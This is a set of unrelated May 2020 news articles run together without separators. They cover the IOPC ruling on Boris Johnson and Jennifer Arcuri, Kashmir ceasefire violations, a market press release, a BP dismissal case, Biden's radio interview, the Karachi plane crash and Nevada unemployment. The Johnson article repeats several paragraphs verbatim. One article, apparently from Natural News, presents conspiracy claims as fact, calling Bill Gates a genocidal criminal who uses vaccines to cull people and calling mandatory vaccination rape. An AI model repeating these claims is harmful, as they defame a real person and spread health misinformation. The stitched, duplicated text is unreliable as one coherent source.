The IOPC stated: 'The Independent Office for Police Conduct today informed the Right Honourable Boris Johnson and the Greater London Authority (GLA) that it will not be conducting a criminal investigation into allegations that Mr Johnson used his position while Mayor of London to benefit and reward American businesswoman Jennifer Arcuri.

'The IOPC's Operation Lansdowne review found no evidence indicating Mr Johnson influenced the payment of any sponsorship monies to Ms Arcuri or that he influenced or played an active part in securing her participation in trade missions.'

But the London Assembly said it would resume its own investigation, which it paused at the request of the police watchdog.

A review established there was a 'close association' between the pair and there 'may have been an intimate relationship' between Ms Arcuri (left) and Mr Johnson (right, outside No10 today)

A redacted part of the report, pictured above, which reads: 'The witness confirmed that Ms Arcuri disclosed to them that she and Mr Johnson were in a sexual relationship'

The Assembly's investigation will look at whether Mr Johnson 'conducted himself in a way that's expected' from a senior public official, said Mr Duval.

'The oversight committee will take into account the current emergency when looking at the timetable for the investigation,' he added.

Johnson's Downing Street office said it welcomed 'that this politically motivated complaint has been thrown out'.

'This was not a policing matter, and we consider this was a waste of police time,' it added.

When Boris met Jennifer: PM's 'intimate' relationship with tech adviser Arcuri October 2011: Johnson first meets Arcuri at a gathering of venture capitalists in central London, while he is Mayor of the capital city. April 2012: He is a keynote speaker at the first networking event in 2012 for Arcuri's firm. He visited her flat several times, where she has a dancing pole, during his tenure as Mayor between 2008 and 2016. September 2013: At a Conservative Party conference in Manchester she photographed Johnson speaking, posting it online with the caption: 'The laughter in the room makes this whole week worth it.' November 2014: Arcuri is delegate on Johnson's trade mission to Singapore and Malaysia. February 2015: Arcuri is seen at events during Johnson's trade trip to New York. November 2015: Arcuri joins the London Mayor on a trade trip to Tel Aviv in Israel at his request. May 2016: Johnson steps down as Mayor. June 2018: Arcuri moves to California. September 2019: Allegations about Johnson's friendship with Arcuri break in a piece from The Sunday Times. Mr Johnson denies any wrongdoing. September 24, 2019: London Assembly members give the PM a two-week deadline to provide 'details and a timeline of all contact with Jennifer Arcuri' during his time as Mayor of London. October 19, 2019: The London Assembly pauses its probe into the pair's relationship after a request from the IOPC. December 2019: Arcuri said she did not want to 'be pressured into admitting' to anything about her links to the PM during a GMB interview. May 21, 2020: The IOPC announced there was no evidence for it to launch a criminal investigation into allegations Mr Johnson may have committed an offence of misconduct in public office, with the London Assembly to resume its own investigation. Advertisement

Ms Arcuri has admitted hosting the thrice-married 55-year-old at her flat in Shoreditch, east London, which featured a nightclub dancing pole, but has repeatedly refused to answer questions about sex.

At the time Mr Johnson was married to barrister Marina Wheeler, the mother of four of his children, although Ms Arcuri said the visits stopped after he became Foreign Secretary.

The couple later divorced and the Tory leader's 32-year-old fiancee, Carrie Symonds, recently gave birth to their baby boy, Wilfred.

Ms Arcuri insists she and Mr Johnson 'did nothing wrong' and has previously said: 'I had every right to be on those trips as a legitimate businesswoman and stand by everything that happened because these allegations are completely false.'

Ms Arcuri accompanied Mr Johnson on three official trade missions despite not qualifying as a delegate and her companies received 126,000 in public money. At the time they were allegedly having a four-year affair which he failed to declare.

The IOPC began an investigation on the basis that Mr Johnson was the equivalent of London's police and crime commissioner at the time and Ms Arcuri agreed to give evidence 'to clear the matter up'.

Mr Johnson has refused to answer questions about what happened but claims he acted with 'full propriety' and had 'no interest to declare'. He is also facing a standards investigation by the London Assembly's oversight committee.

Ms Arcuri spoke about her 'very special' relationship with Mr Johnson in an astonishing series of TV appearances last year.

Ms Arcuri swerved queries about her relationship with Mr Johnson, telling GMB hosts Piers Morgan and Susanna Reid in December last year that she did not want to 'be pressured into admitting' to anything about her links to the Prime Minister.

Later, speaking to Victoria Derbyshire, Ms Arcuri insisted Mr Johnson did not do her any 'favours' but said she wished he had declared her as an interest if it could have 'saved me this entire embarrassment and humiliation'.

She said: 'I would love an apology for acknowledging the fact that given all those years, you know, that I was on the ground, hustling and working as a student. I mean he saw my arc, he saw my progression as a young woman, graduating and becoming, you know, a mature entrepreneur.'

She also accused the Prime Minister of feeding her to the wolves. Asked if Mr Johnson 'had bigger fish to fry', she said: 'That's what you tell somebody when you meet them for the night, you don't know them, you haven't spent the hours with them, the investment into another person.

'And the fact that I'm called out, just on GMB, because 'why I am here if I'm not here to admit the affair?'

'Well wait a minute I'm not allowed to be upset because somebody that was very much a part of my life, who knew what I stood for, the calibre and integrity and merit that I work at. I mean all these things he knew and he sat back, why?

'He didn't have to ignore me, it could have been a 30-second phone call, just to let me know that he's acknowledging the fact that he, while he gets to be prime minister gets to feed me to the wolves - and I find that really disturbing.'

Ms Arcuri pictured with Mr Johnson. Ms Arcuri spoke about her 'very special' relationship with Mr Johnson in an astonishing series of TV appearances last year

Two weddings, three affairs, at least six kids, and a pole-dancing tech guru: The very busy love life of Boris Johnson

The news that Boris Johnson's girlfriend Carrie Symonds is pregnant, and that the pair are engaged, marks the latest chapter in the PM's turbulent love life.

His first marriage at the age of 23 to Allegra Mostyn-Owen in 1987 collapsed six years later after it emerged he was having an affair with childhood friend Marina Wheeler.

Boris's subsequent marriage to Marina lasted 25 years - during which he had affairs with three women.

Here, we outline the Prime Minister's colourful past relationships.

1987: The first wife, Allegra Mostyn-Owen, whom he met at Oxford

Boris married his Oxford University sweetheart Allegra Mostyn-Owen in 1987 when they were both aged 23.

They divorced in 1993 after his affair with the woman who would become his second wife, Marina Wheeler.

Boris Johnson married Oxford University sweetheart Allegra Mostyn-Owen (pictured together) in 1987 when they were both aged 23

The couple (above) divorced in 1993 after his affair with the woman who would become his second wife, Marina Wheeler

The daughter of renowned art historian William Mostyn-Owen and flamboyant Italian writer Gaia Servadio, Allegra was a socialite and former Tatler cover girl whose beauty had besotted young men falling at her feet at Oxford University.

'When we got married, that was actually the end of the relationship instead of the beginning,' Allegra would later say.

Their relationship ended after six years following revelations of his affair with Marina Wheeler QC, who was a childhood friend of Boris.

Marina became pregnant with the first of their four children before his divorce from Allegra was finalised.

Johnson later reconciled with Mostyn-Owen before they separated in February 1990 and divorced in 1993 - just 12 days before he married Marina Wheeler, whom he had a child with five weeks later.

The daughter of renowned art historian William Mostyn-Owen and flamboyant Italian writer Gaia Servadio, Allegra was a socialite and former Tatler cover girl whose beauty had besotted young men falling at her feet at Oxford University.

'When we got married, that was actually the end of the relationship instead of the beginning,' Allegra would later say.

Their relationship ended after six years following revelations of his affair with Marina Wheeler QC, who was a childhood friend of Boris.

Marina became pregnant with the first of their four children before his divorce from Allegra was finalised.

Johnson later reconciled with Mostyn-Owen before they separated in February 1990 and divorced in 1993 - just 12 days before he married Marina Wheeler, whom he had a child with five weeks later.

1993: Boris marries Marina Wheeler - the woman who stood by him for years... but left her just as he was on the brink of becoming PM

Marina Wheeler married Boris on May 8, 1993 - just 12 days after his divorce from Allegra was finalised on April 26.

Together, Boris and Marina have four children: Lara Lettice, Milo Arthur, Cassia Peaches and Theodore Apollo.

After first meeting Boris at the European School of Brussels, they also attended private boarding school Bedales in Hampshire together before she went to Cambridge.

Marina Wheeler married Boris married on May 8, 1993 - just 12 days after his divorce from Allegra was finalised on April 26. (The pair are pictured in 2015)

Together, Boris and Marina (above, in 2008) have four children: Lara Lettice, Milo Arthur, Cassia Peaches and Theodore Apollo

Marina Wheeler married Boris on May 8, 1993 - just 12 days after his divorce from Allegra was finalised on April 26.

Together, Boris and Marina have four children: Lara Lettice, Milo Arthur, Cassia Peaches and Theodore Apollo.

After first meeting Boris at the European School of Brussels, they also attended private boarding school Bedales in Hampshire together before she went to Cambridge.

2004: Petronella Wyatt and the 'inverted pyramid of piffle'

In 2004, Boris's four-year affair with journalist and society author Petronella Wyatt (pictured), the daughter of Labour grandee Lord Wyatt, became public

Around seven years into his marriage to Marina, she became aware that Boris was having an affair with Petronella Wyatt, daughter of Margaret Thatcher's favourite journalist Woodrow Wyatt.

In 2004, it was reported that 'Petsy' may have had an abortion, to which Boris declared to The Mail on Sunday: 'I had not had an affair with Petronella.

'It is complete balderdash. It is an inverted pyramid of piffle.'

Boris was soon found to be lying and after days of publicity, Tory leader Michael Howard sacked Johnson from his position as Shadow Culture Minister.

2006: Emergence of liaisons with Anna Fazackerley

In 2006, it emerged Boris had been having an affair with journalist Anna Fazackerley (above)

Alongside this, Marina was also alerted to another affair that Boris had been having with journalist Anna Fazackerley, which emerged in 2006.

When the affairs garnered publicity, it also became public knowledge that Marina had become pregnant at the time that Boris was still married to Allegra, who was quoted saying: 'I divorced him for adultery. It enabled him to marry Marina.'

The divorce had been finalised on April 26, 1993 and Boris married Marina on May 8 of the same year, with Lara Johnson being born on June 12.

Marina threw her husband out of their home after his affair with Anna was publicised, but they soon worked things out.

2009: The love child with Helen Macintyre

Mr Johnson is said to have fathered a child with art consultant Helen Macintyre (pictured) in 2009. It is understood Miss Wheeler again kicked him out of the family home

In 2009, Mr Johnson is said to have fathered a child with art consultant Helen Macintyre.

It is understood Mrs Wheeler had, again, kicked him out of the family home at the time.

Mr Johnson's fatherhood of Miss Macintyre's daughter was first revealed by the Daily Mail in July 2010.

In 2013, a court ruled that it was in the public interest for the Press to report Mr Johnson was the father.

Boris Johnson's divorce from Marina Wheeler

Boris Johnson and his estranged wife Marina Wheeler agreed a divorce settlement on February 18 this year, following a legal dispute over money.

Judge Sarah Gibbons oversaw a private hearing in the Central Family Court in London, which neither party attended.

During the short hearing, she gave Ms Wheeler permission to apply for a Decree Absolute, which would bring the marriage to an end.

A case number revealed Mr Johnson, who is now living with Carrie Symonds at Downing Street, and Ms Wheeler were involved in a dispute over money or assets.

Marina Claire Wheeler was named as the 'petitioner' and 'applicant' in the case, while Alexander Boris De Pfeffel Johnson was named as the 'respondent'.

Mr Johnson was said to have had 6.5million in cash and assets as of September 2018, but will have likely seen his wealth rise since becoming Prime Minister last July.

It is therefore plausible that Ms Wheeler will be receiving around 4million if it is an equal split. However, the judge said no detail from the case relating to money can be revealed in reports, apart from what is already in the public domain.

Judge Gibbons gave Ms Wheeler permission to apply for the decree absolute 'out of time'.

This suggests that she was granted a decree nisi by the courts more than a year ago.

Those who are successfully granted a decree nisi have up to a year to apply for the next stage of divorce, the decree absolute.

Carrie Symonds moves into Downing Street

The Prime Minister's fiancee moved into Downing Street in July of last year, before the pair announced they were expecting their first child and engaged in late February - making Mr Johnson the first British PM to marry in office for 200 years.

Mr Johnson pictured walking with his partner Carrie Symonds as they arrive at The Midland, a covention complex in Manchester, on the eve of the 2019 Conservative Party Conference

He is believed to have proposed during the couple's romantic break in the Caribbean island of Mustique over Christmas.

Ms Symonds, who is the first unmarried partner of a Prime Minister to live in Downing Street, added that she felt 'incredibly blessed'.

She gave birth in London late in April with the Prime Minister at her side, days after he himself had been released from medical care following a lengthy battle with coronavirus.

The couple revealed the boy's full name as Wilfred Lawrie Nicholas Johnson, with the first name a tribute to Mr Johnson's paternal grandfather, Osman Wilfred Kemal, and Lawrie a reference to Ms Symonds' grandfather.

The new family are planning to live in their Downing Street flat along with their dog Dilyn.


New Delhi, May 22 : Pakistan resorted to ceasefire violations along the Line of Control (LoC) in the Poonch and Rajouri districts of Jammu and Kashmir on Friday.

The Indian Army said, "On May 22, 2020, at about 3.30 a.m., Pakistan initiated the unprovoked ceasefire violation by firing with small arms and shelling with mortars along Line of Control in Krishna Ghati Sector, District Poonch (J&K). Indian Army retaliated befittingly." The force said that again at about 7.20 a.m., Pakistan initiated the unprovoked ceasefire violation in Nowshera Sector in Rajouri District in J&K. "Indian Army is retaliating befittingly," the force said.

On May 20 also, Pakistan indulged in the ceasefire violation in the Kirni and Qasba sectors in District Poonch.

The Pakistani Army has been continuously targeting the Keran Valley, Poonch, Uri Sector, Krishna Ghati and Akhnoor sectors.

In 2019, a total 3,200 incidents of ceasefire violations by Pakistan cross the LoC were reported as compared to 1,629 incidents in 2018, the Ministry of Defence had stated.
Technavio has been monitoring the food industry pulsed electric field (PEF) systems market and it is poised to grow by USD 227.52 million during 2020-2024, progressing at a CAGR of over 24% during the forecast period. The report offers an up-to-date analysis regarding the current market scenario, latest trends and drivers, and the overall market environment.

This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200521005618/en/

Technavio has announced its latest market research report titled Global Food Industry Pulsed Electric Field (PEF) Systems Market 2020-2024 (Graphic: Business Wire)

Technavio suggests three forecast scenarios (optimistic, probable, and pessimistic) considering the impact of COVID-19. Please Request Free Sample Report on COVID-19 Impact

The market is concentrated, and the degree of concentration will accelerate during the forecast period. CoolWave Processing B.V., Diversified Technologies, Inc., Elea, EnergyPulse Systems, Lda., Heat and Control, Inc., Pulsemaster, Montena sa, ScandiNova Systems, and Wek-tec are some of the major market participants. The increased need for food sterilization will offer immense growth opportunities. To make the most of the opportunities, market vendors should focus more on the growth prospects in the fast-growing segments, while maintaining their positions in the slow-growing segments.

Increased need for food sterilization has been instrumental in driving the growth of the market.

Food Industry Pulsed Electric Field (PEF) Systems Market 2020-2024: Segmentation

Food Industry Pulsed Electric Field (PEF) Systems Market is segmented as below:

Application Liquid Food Solid Food

Geography Europe North America APAC South America MEA



To learn more about the global trends impacting the future of market research, download a free sample: https://www.technavio.com/talk-to-us?report=IRTNTR40643

Food Industry Pulsed Electric Field (PEF) Systems Market 2020-2024: Scope

Technavio presents a detailed picture of the market by the way of study, synthesis, and summation of data from multiple sources. Our food industry pulsed electric field (PEF) systems market report covers the following areas:

Food Industry Pulsed Electric Field (PEF) Systems Market Size

Food Industry Pulsed Electric Field (PEF) Systems Market Trends

Food Industry Pulsed Electric Field (PEF) Systems Market Industry Analysis

This study identifies introduction of new PEF systems as one of the prime reasons driving the food industry pulsed electric field (PEF) systems market growth during the next few years.

Food Industry Pulsed Electric Field (PEF) Systems Market 2020-2024: Vendor Analysis

We provide a detailed analysis of vendors operating in the food industry pulsed electric field (PEF) systems market, including some of the vendors such as CoolWave Processing B.V., Diversified Technologies, Inc., Elea, EnergyPulse Systems, Lda., Heat and Control, Inc., Pulsemaster, Montena sa, ScandiNova Systems, and Wek-tec. Backed with competitive intelligence and benchmarking, our research reports on the food industry pulsed electric field (PEF) systems market are designed to provide entry support, customer profile and M&As as well as go-to-market strategy support.

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Food Industry Pulsed Electric Field (PEF) Systems Market 2020-2024: Key Highlights

CAGR of the market during the forecast period 2020-2024

Detailed information on factors that will assist food industry pulsed electric field (PEF) systems market growth during the next five years

Estimation of the food industry pulsed electric field (PEF) systems market size and its contribution to the parent market

Predictions on upcoming trends and changes in consumer behavior

The growth of the food industry pulsed electric field (PEF) systems market

Analysis of the market's competitive landscape and detailed information on vendors

Comprehensive details of factors that will challenge the growth of food industry pulsed electric field (PEF) systems market vendors

Table Of Contents:

Executive Summary

Market Landscape

Market ecosystem

Market Sizing

Market definition

Market segment analysis

Market size 2019

Market outlook: Forecast for 2019-2024

Five Forces Analysis

Five Forces Summary

Bargaining power of buyers

Bargaining power of suppliers

Threat of new entrants

Threat of substitutes

Threat of rivalry

Market condition

Market Segmentation by Application

Market segments

Comparison by Application placement

Liquid food Market size and forecast 2019-2024

Solid food Market size and forecast 2019-2024

Market opportunity by Application

Customer Landscape

Geographic Landscape

Geographic segmentation

Geographic comparison

Europe Market size and forecast 2019-2024

North America Market size and forecast 2019-2024

APAC Market size and forecast 2019-2024

South America Market size and forecast 2019-2024

MEA Market size and forecast 2019-2024

Key leading countries

Market opportunity by geography

Market Drivers

Market Challenges

Market Trends

Vendor Landscape

Competitive landscape

Vendor landscape

Landscape disruption

Vendor Analysis

Vendors covered

Market positioning of vendors

CoolWave Processing B.V.

Elea

Pulsemaster

Montena sa

ScandiNova Systems

Wek-tec

Appendix

Scope of the report

Currency conversion rates for US$

Research methodology

List of abbreviations

About Us

Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios.

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Curriculum

DreamBox Adds Predictive Analytics for Monitoring Student Readiness in Math

Education technology company DreamBox Learning has released new software that lets educators predict how well their students would do with high-stakes math testing  even though the testing isn't happening.

The company produces K-8 math curriculum that integrates instruction and assessment and is adaptive to each student. As a learner finishes a lesson, he or she is assessed to enable the program to provide a well calibrated lesson the next time. DreamBox Predictive Insights uses that testing data specifically for K-5 to provide district administrators with monthly projections about the outcomes of spring testing that, according to the company, would be 85 percent accurate.

Even though those state math tests have been canceled for the current school year, DreamBox suggested that the data generated in its new tool can help education leaders make decisions about upcoming use of curriculum, intervention and summer school.

The prediction technology is part of the DreamBox administrator dashboard, which uses data going back to the start of the current school year. The reporting shows how students, classes and schools would have done on the grade level math tests for their states if they were taking it. The predictive models used by the software were developed over three years by crunching data generated in dozens of school districts and using years of in-product data and scores from major state tests and benchmark exams.

"This is an unexpected new chapter for schools and their personalized learning initiatives. As schools transition to remote learning, educational technology has proven to be an invaluable resource for delivering quality learning experiences at home," said CEO Jessie Woolley-Wilson, in a statement. "Whenever schools are ready to safely re-open, learning guardians will need to quickly ascertain how to support each student after a semester and summer of potential learning loss. DreamBox's Predictive Insights provides a snapshot view into where each student is, allowing district administrators to make important decisions based on clear and accurate predictions."

DreamBox said it would expand its predictive programming later this year to include principal and teacher reporting and suggestions for how teachers can differentiate instruction for students.

That's appealing to at least one of those districts that has done early testing of the program, Lodi Unified School District in California. "Access to data is critical for ensuring growth and success for every student," said Lisa Kotowski, assistant superintendent of curriculum and instruction. "Educators are constantly searching for ways to best address the learning needs of their individual students. They are further challenged now that typical data collection approaches aren't occurring in schools. DreamBox Predictive Insights and the information available provides tangible insights that teachers can use to help their students make proficiency gains earlier in the learning cycle, address gaps, and put all students on the right path for learning and achievement."
A BP worker who was sacked after privately sharing a version of a Hitler parody video during pay negotiations has had a win in the Federal Court.

The Downfall meme format has been widely circulating on the internet for more than a decade, with users adding their own subtitles to a clip from the 2004 German film Der Untergang, showing a highly agitated Adolf Hitler in his final hours.

BP technician Scott Tracey used it to parody the heated and protracted enterprise bargaining negotiations process at the company in a video distributed to a private Facebook group of friends and colleagues.

The Downfall meme format has been widely circulating on the internet for more than a decade, with users adding their own subtitles to a clip from the 2004 German film Der Untergang, showing a highly agitated Adolf Hitler in his final hours

The oil and gas giant fired him, alleging the video depicted the negotiating team as Nazis and breached the company's code of conduct.

Mr Tracey claimed unfair dismissal, which the Fair Work Commission rejected, ruling the video inappropriate and offensive.

But he won his job back on appeal after the full bench of the commission found it was satirical.

BP then challenged that finding in the Federal Court, which was dismissed on Friday.

The Australian Workers' Union hailed the decision as 'a victory for the larrikin spirit'.

'The meme Scott Tracey used has been appropriated thousands upon thousands of times to poke fun at sport, culture, politics, and everything else,' national secretary Daniel Walton said.

A BP spokesman said the company was reviewing the decision

'Australian workers have always been able to take the piss out of their bosses, with their colleagues, in their own time.

'For BP management to spend so much time arguing otherwise reveals real arrogance.'

A BP spokesman said the company was reviewing the decision.

'We remain committed to upholding our values and behaviours consistently across our company, including at offices, refineries, and retail sites,' he said in a statement.
(Natural News) Just a few days after it was revealed through an intercepted human intelligence report that Bill Gates is attempting to bribe Nigerian politicians into passing a mandatory vaccination bill for the Wuhan coronavirus (COVID-19), an Italian politician has come forward to demand that the billionaire software tycoon be immediately handed over to international courts to be tried for committing crimes against humanity.

Sara Cunial, who previously sounded the alarm about how Gates has been pushing his vaccine agenda in Africa and India for years, says that this vaccine criminal needs to be taken off the streets and dealt with for the protection of humanity. In essence, she declared that he is a threat to human civilization and the safety of children.

Leave it to Italy to be the nation that calls a spade a spade when it comes to the nefarious activities of Bill Gates, who our own media and politicians routinely praise for his alleged contributions to humanitarian efforts. Not only is Gates a fraud, but he is a proven genocidal maniac who is actively trying to thin the herd through mass vaccination.

Gates hates freedom, and even more than that he hates innocent humanity, and particularly precious children whom he sees as nothing more than human guinea pigs to be exploited for financial and political gain. Gates is a dangerous criminal, in other words, and Cunial is right: He needs to go.

Listen below to The Health Ranger Report as Mike Adams, the Health Ranger, discusses how mandatory vaccination is a form of medical rape, and those who engage in forcing vaccines on people are guilty of committing felony assault:

Just say NO to Wuhan coronavirus (COVID-19) vaccines

Keep in mind that as far back as 2015, Italian leaders were actively warning the world that communist China was conducing biological experiments with coronaviruses. A November 2015 broadcast, in fact, showed Chinese scientists meddling with SARS (severe acute respiratory system), a cousin of the Wuhan coronavirus (COVID-19).

It was asked at that time whether such experiments were even necessary, let alone safe. If there was even a small possibility that such viruses might escape into the general public, then such experiments needed to end, was the message being loudly sent.

As for this latest experiment gone wrong, or so it would seem, Cunial gave a resounding seven-minute speech recently claiming that Italy was subjected to a holy inquisition of false science. She added that Italys lockdowns were completely unnecessary and were only implemented to advance the globalist agenda, which as we know is being largely spearheaded by Gates and his vaccine agenda.

Cunial continues to urge her fellow political leaders to wake up to what is going on and reject it. She warns that any attempt at compulsory vaccination with a future Wuhan coronavirus (COVID-19) vaccine is a deep state plot to consolidate power and control the masses.

It is our children who will lose more, who are raped souls, with the help of the so-called guarantor of their rights and of CISMAI (Italian Coordination of Services against Child Abuse), Cunial stated as part of her speech, warning about the devastating impacts of all of this on Italys, and really the worlds, precious children.

In this way, the right to school will be granted only with a bracelet to get them used to probation, to get them used to slavery  involuntary treatment and to virtual lager. All this in exchange for a push-scooter and a tablet. All to satisfy the appetites of a financial capitalism whose driving force is the conflict of interest, conflict well represented by the WHO, whose main financier is the well-known philanthropist and savior of the world Bill Gates.

Cunials entire speech is available at this link.

For more of the latest news about the Wuhan coronavirus (COVID-19), be sure to check out Pandemic.news.

Sources for this article include:

GreatGameIndia.com

NaturalNews.com
ATLANTA (AP)  Joe Biden, the presumptive Democratic presidential nominee, had a testy exchange with a prominent black radio personality on Friday over Biden's support among black voters and his choosing of a running mate.

Charlamagne Tha God pressed Biden on reports that he is considering Minnesota Sen. Amy Klobuchar, who is white, to be vice president and told him black voters saved your political life in the primaries" and have things they want from you.

OPEN THREATS?: Open Carry Texas plans rally to teach county sheriff 'a lesson'

Im not acknowledging anybody who is being considered, Biden said. But I guarantee you there are multiple black women being considered. Multiple.

A Biden aide then sought to end the interview, prompting the host to say, You can't do that to black media.

Biden responded, I do that to black media and white media and said his wife needed to use the television studio.

He then added: If youve got a problem figuring out whether youre for me or for Trump, then you aint black.

The host countered that conversations about Bidens running mate arent about President Donald Trump, whom many black voters view as racist.

Take a look at my record, Biden said, citing his work as senator to extend the Voting Rights Act of 1965. The NAACP has endorsed me every time Ive run. Come on, take a look at my record.

Biden has emphasized his relationship with black voters, noting throughout the campaign his dependence on black voters in his Delaware Senate races and his partnership as President Barack Obamas top lieutenant.

Black voters helped resurrect Bidens campaign in this year's primaries with a second place finish in the Nevada caucuses and a resounding win in the South Carolina primary after hed started with embarrassing finishes in overwhelmingly white Iowa and New Hampshire.

NO MASK, BIG PROBLEM: GOP lawmaker kicked out of legislative session after refusing to wear face mask

Older black voters especially sided with Biden over a wide Democratic field that included several black candidates, including Kamala Harris. The California senator is believed to be a contender for the vice-presidential nomination. Other prominent black women mentioned include Georgia voting rights advocate Stacey Abrams, Atlanta Mayor Keisha Lance Bottoms, Florida Rep. Val Demings, Ohio Rep. Marcia Fudge and Susan Rice, Obama's former U.S. ambassador to the U.N.

Symone Sanders, a senior adviser to Biden, said his parting comment in Friday's interview was made in jest."

Lets be clear about what the VP was saying, Sanders tweeted. He was making the distinction that he would put his record with the African American community up against Trumps any day. Period.

Trump's campaign seized on Bidens comments on Friday.

He truly believes that he, a 77-year-old white man, should dictate how Black people should behave, said Katrina Pierson, a senior advisor to Trumps campaign.

The president has a history of incendiary rhetoric related to race.

When he launched his presidential campaign in 2015, Trump called many Mexican immigrants rapists. In 2017, he said there good people on both sides of the clash in Charlottesville, Virginia, between white supremacists and anti-racist demonstrators that left one counter-protester dead.

Last year, during a private White House meeting on immigration, Trump wondered why the United States was admitting so many immigrants from shithole countries like African nations. He also blasted four Democratic congresswomen of color, saying they hate America and should go back to where they come from, even though all are U.S. citizens and three were born in the U.S.
A Pakistan International Airlines (PIA) plane crashed in Karachi on Friday. The flight was on its way from Lahore to Karachi.

News agency Reuters reports that the plane had 99 passengers onboard when it crashed.

Pakistan Armed force spokesperson Major General Babar Iftikhar said that the armys Quick Reaction Force and Pakistan Rangers Sindh troops have reached the incident site. In the update posted on the official Twitter handel of DG ISPR, the spokesperson said that the security forces will assist civil administration in relief and rescue efforts.

Update #PIA Incident:

Army Quick Reaction Force & Pakistan Rangers Sindh troops reached incident site for relief and rescue efforts alongside civil administration.

Details to follow.  DG ISPR (@OfficialDGISPR) May 22, 2020

Users on social media started posting images and videos of the residential area where the plane crashed. The videos show smoke billowing from the plane. Others have a close-up short of the area where the crash took place.

PIA Flight crashed near Karachis Model Colony Area. Flight enroute from Lahore to Karachi!! tweeted a user Annie Frank.

PIA Flight crashed near Karachi's Model Colony Area.

Flight enroute from Lahore to Karachi!!#BREAKING pic.twitter.com/98JVf6jDJl  Annie Frank (@FrankieTutkija) May 22, 2020

#Plane_Crash Near Model Colony .. PIA Air Plane A320 flight with 100 passenger .. arrive from Lahore to Karachi @Jinnah_Club, tweeted Rashid Khan, a journalist.

#Plane_Crash Near Model Colony .. PIA Air Plane A320 flight with 100 passenger .. arrive from Lahore to Karachi @Jinnah_Club pic.twitter.com/tVw5pkqXZO  Rashid khan (@rashidkhan02) May 22, 2020

Others users had videos from the crash site, and they claimed that at least five houses were destroyed in the crash.

Pia Plane airbus 320 crash near karachi airport,hits 4 to 5 houses,91 passenger onboard, said Khurram Ansari. He used the hashtag #planecrash with his tweet.

Pia Plane airbus 320 crash near karachi airport,hits 4 to 5 houses,91 passenger onboard.#planecrash pic.twitter.com/NtetVn0BzM  Khurram Ansari (@khurram143) May 22, 2020

As soon as the news spread, Karachi started trending on Twitter with more than 19,000 tweets already posted on the place crash.

Black smoke could be seen from afar at the crash site, said eyewitnesses.
A Little Mermaid sequel series, titled Washed Up, is in development at Peacock, the upcoming video on demand streaming service by NBCUniversal.

Writer-producer Gracie Glassmeyer is developing the single-camera comedy series which will serve as a follow-up to both the Disney classic film as well as Hans Christian Andersen's original story, reported Deadline.

Andersen's "The Little Mermaid", which was published in 1837, is a Danish fairy tale on which the much-famous Disney animated classic is loosely based on.

In "Washed Up", fifteen years after giving up her underwater life to marry a prince at age 17, the young princess is now sad, indifferent and in a unhappy marriage. But when her father suddenly dies, she suspects foul play and get on an epic journey to save not only her sea kingdom but the whole humankind.

Disney is also making a live-action version of "The Little Mermaid" based on its 1989 animated movie.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
RENO, Nev. - More than one-fourth of Nevadas workers dont have jobs after the states unemployment rate hit unemployment rate of 28.2% in April  the highest rate in the U.S. and the worst joblessness showing in Nevada history.

The previous record for Nevada unemployment was estimated at 25% during the Great Depression.

They are all sobering numbers, far in excess of anything we have experienced as a state before now, said David Schmidt, chief economist for the Nevada Department of Employment, Training and Rehabilitation.

Nevada was hit especially hard by the economic fallout from the coronavirus pandemic because so many of its jobs are tied to the travel, tourism and hospitality sectors, Schmidt said. He said Nevadas accommodation and food service industry alone lost nearly 41% of its jobs compared with April 2019

Nevada now has the highest unemployment rate of any state, in any month, dating back to 1976 when consistent data became available, he told reporters.

Michigan has the second worst joblessness rate at 22.7%, followed by Hawaii at 22.3%.

Nevadas unemployment rate was at an all-time-low of 3.6% in February. Casinos and other non-essential businesses have been closed since mid-March.

The unemployment rate announced Friday was adjusted seasonably based on a single reporting week from April 12-18.

The number of unemployed Nevada residents rose to 424,605, when not seasonably adjusted, Schmidt said. Since February, the states labour force has declined by about 150,000 or 36%.

Schmidt said nearly 573,000 Nevada workers have been affected by the COVID shutdown.

Compared to last April, Nevada has 255,000 fewer jobs. The administration support industry in Nevada lost more than 28% of it jobs and retail trade about 21% per cent.

Among the few sectors that didnt lose jobs, construction added 100 workers and finance and insurance gained 200 posts. The biggest gain in Nevada was for federal employment, with about 900 people hired for the 2020 Census, Schmidt said.

While the months jobless rate was unprecedented, Schmidt said the current economic climate is much different than the 1930s.

We are just over two months removed from the onset of the COVID-19 shutdown, not years into a national recession. And the state is already shifting back toward reopening, he said.

Schmidt added the government provides a much more more robust safety net than it did during the national depression. Social Security, Medicaid and unemployment insurance were created during the depression.

Nevada Gov. Stephen Sisolak, a Democrat, allowed a May 9 partial return of customers to restaurants, salons and other nonessential businesses. He kept casinos, nightclubs, spas and gyms closed, along with indoor movie theatres, community centres, tattoo parlours, strip clubs and brothels. Sisolak is expected to provide an update in the coming days about future potential reopenings.

In other Nevada coronavirus developments

 A federal agency has awarded $89.9 million to Nevada to enhance COVID-19 testing and contact tracing. The Nevada Appeal reports that the grant awarded by the federal Centers for Disease Control and Prevention was announced by Sens. Catherine Cortez Masto and Jacky Rosen, both Democrats. The lawmakers said the funding is important because the state needs an expansive and efficient system for testing and contact tracing as it moves toward reopening its economy.

 The Nevada Legislature has created a new panel of lawmakers to advise Sisolak and review the states use of federal funding provided to the state because of the pandemic. The Interim Finance Committee voted Thursday to form a 12-member subcommittee that will be led by Assembly Speaker Jason Frierson, D-Las Vegas, the Appeal reported.

 Nevada health officials reported that the state had 7,401 cases of COVID-19 with 381 deaths as of Friday. For most people, the coronavirus causes mild or moderate symptoms, such as fever and cough that clear up in two to three weeks. For some, especially older adults and people with existing health problems, it can cause more severe illness, including pneumonia, and death.
Dr Hafiz Bin Salih, the Upper West Regional Minister, has said the Wa campus of the University for Development Studies (UDS) has since its establishment made a great impact on the lives of the people of the region.



He said given its current status of an autonomous university under the new name Simon Diedong Dombo University of Business and Integrated Studies (UBIS); he was expecting an even greater impact in terms of transforming the lives of the people of the region and beyond.



